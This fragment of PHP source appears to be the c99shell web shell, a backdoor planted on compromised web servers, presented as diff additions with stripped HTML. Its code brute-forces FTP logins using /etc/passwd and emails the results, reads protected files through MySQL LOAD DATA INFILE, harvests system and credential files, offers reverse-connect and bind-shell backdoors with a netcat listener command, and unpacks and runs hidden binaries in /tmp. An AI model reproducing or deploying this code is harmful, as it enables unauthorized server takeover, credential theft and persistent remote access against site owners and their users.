        '; +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "".$item[0]."  "; + } +} +echo "

        "; + +if ((!empty($donated_html)) and (in_array($act,$donated_act))) { +echo " +
        ".$donated_html."
        +
        "; + } + +echo " + "; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} + $line[] = "KILL"; + $prcs[] = $line; + echo ""; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "[sort_desc]";} + else {$y = "[sort_asc]";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i".trim($head[$i])."";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo ""; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo ""; + } + } + } + $head[$k] = "".$head[$k]."".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "
        "; + +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?> + + "; + if (!$sql_sock) {?>"; + } + echo "
        +
        SQL Manager:
        "; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "
        Can't connect
        "; echo "".$err."";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "
        MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
        "; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
        "; + } + echo "

      • If login is null, login is owner of process.
      • If host is null, host is localhost
      • If port is null, port is 3306 (default)
      •  
        UsernamePassword Database 
        HostPORT
        ">Home
        ".htmlspecialchars($sql_db)." ]---
        "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "?nbsp;".htmlspecialchars($row[0])." (".$count_row[0].")
        "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?>
        Home

        Please, select database
        "; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
        There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
        "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
        "; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "
        "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
        ".$sql_query_error."
        ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "
        "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



         
        ";} + } + if (in_array($sql_act,$acts)) + { + ?> + + +
        Create a new table: +
         
        Dump DataBase: +
        "> 
        ";} + if ($sql_act == "newtbl") + { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
        "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
        Reason: ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = FALSE; + echo "
        SQL-Dump:

        "; + echo "DB: 

        "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

        "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

        "; + echo "Download:  

        "; + echo "Save to file:  "; + echo "



        1 - all, if empty"; + echo "
        "; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
        Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
        "; + echo "Structure ]   "; + echo "Browse ]   "; + echo "Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_act == "structure") {echo "

        Coming sooon!";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "

        Inserting row into table:
        "; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

        ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
        "; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
        FieldTypeFunctionValue
        ".htmlspecialchars($name)."".$field["Type"]."

        "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

        "; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
        "; + echo "[Pages] "; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
        ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
        From:  To:  
        "; + echo "
        "; + echo ""; + echo ""; + for ($i=0;$i"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "".$v."";} + else {echo "".$v."[sort]";} + echo ""; + } + echo ""; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo ""; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo ""; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "NULL";} + echo ""; + $i++; + } + echo ""; + echo ""; + } + mysql_free_result($result); + echo "
        Action
        ".$v.""; + echo "[Delete] "; + echo "[Edit] "; + echo "

         

        "; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "
        "; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + $i++; + } + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo ""; + echo "
        Table
        RowsTypeCreatedModifiedSizeAction
         ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." [Empty]  [Drop] [Insert] 
        ?/b>
        ".$i." table(s)
        ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

         

        "; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?>
        Create new DataBase: +
         
        View File:
         
        "; + if ($sql_act == "newdb") + { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
        ";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
        Reason:
        ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "
        Server-status variables:

        "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
        NameValue
        ".$row[0]."".$row[1]."
        "; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "
        Server variables:

        "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} + echo "
        NameValue
        ".$row[0]."".$row[1]."
        "; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen.";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "
        Processes:

        "; + echo ""; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} + echo "
        IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
        ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
        "; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "Error in reading file (permision denied)!";} + else + { + for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
        ";} + else {echo "File \"".$sql_getfile."\":
        ".nl2br(htmlspecialchars($f))."
        ";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "
        "; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "
        Affected rows: ".$affected."
        "; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": object alredy exists";} + elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\": access denied";} + echo "

        "; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "FTP Brute Forcer:
        "; + if (!win) {echo "This functions not work in Windows!

        ";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
        "; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
        "; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "
        Done!
        Total time (secs.): ".$ftpquick_t."
        Total connections: ".$i."
        Success.: ".$success."
        Unsuccess.:".($i-$success)."
        Connects per second: ".round($i/$ftpquick_t,2)."
        "; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "

        Read first:

        Users only with shell? 

        Logging? 

        Logging to file? 
        Logging to e-mail? 

        "; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "
        Permision denied!
        ";} + else + { + echo "Directory information:"; + if (!$win) + { + echo "
        Owner/Group "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "
        Perms".view_perms_color($d)."
        Create time ".date("d/m/Y H:i:s",filectime($d))."
        Access time ".date("d/m/Y H:i:s",fileatime($d))."
        MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."

        "; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "
        Server Information:
        Open base dir: ".$hopenbasedir."
        "; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:
        "; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "
        From:  To:  

        "; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "".$uid["dir"].""; + echo join(":",$uid)."
        "; + } + $i++; + } + } + else {echo "
        Get /etc/passwd
        ";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.")
        ";} + else {echo "
        You can crack winnt passwords. Download, and use lcp.crack+ ?
        ";} + } + if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
        ";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
        ";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
        ";} + if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
        ";} + if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)
        ";} + if (file_get_contents("/etc/motd")) {echo "Message Of The Day
        ";} + if (file_get_contents("/etc/hosts")) {echo "Hosts
        ";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
        ";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "Encoder:

        Input:




        Hashes:

        "; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." -
        "; + } + echo "
        Url:
        urlencode - +
        urldecode - +

        Base64:
        base64_encode - "; + echo "
        base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "";} + else {$rows++; echo "";} + echo " "; + } + echo "

        Base convertations:

        dec2hex -
        "; +} +if ($act == "backc") +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("Back-Connection:

        Host: Port: Use:
        Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 5992'

        "); + echo("$msg"); + echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("Bind Shell Backdoor:

        +Bind Port: + +
        "); +echo("$msg"); +echo("$emsg"); +} + + +if ($act == "proxy") { + cf("/tmp/hantu.tgz",$proxy_shit); + ex("cd /tmp;tar -zxvf hantu.tgz"); + ex("cd /tmp;cd .setan;chmod 777 xh"); + ex("cd /tmp;cd .setan;chmod 777 httpd"); + ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); + checkproxyhost(); + $msg = $_POST['proxyhostmsg']; + echo("$msg"); + unlink("/tmp/hantu.tgz"); + ex("cd /tmp; rm -r .setan"); +} + +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); } + else {echo "
        Can't delete ".__FILE__."!
        ";} + } + else + { + if (!empty($rndcode)) {echo "Error: incorrect confimation!";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "
        Self-remove: ".__FILE__."

        For confirmation, enter \"".$rnd."\"
         
        "; + } +} +if ($act == "search"){ + echo "Search file-system:

        "; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "
        + +File/folder name:   - regexp +
        Directory:   +
        Text:   + +

        - regexp +   - whole words only +   - case sensitive +   - find files NOT containing the text +

        "; + if ($act == "ls") {$dspact = $act; echo "
        Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

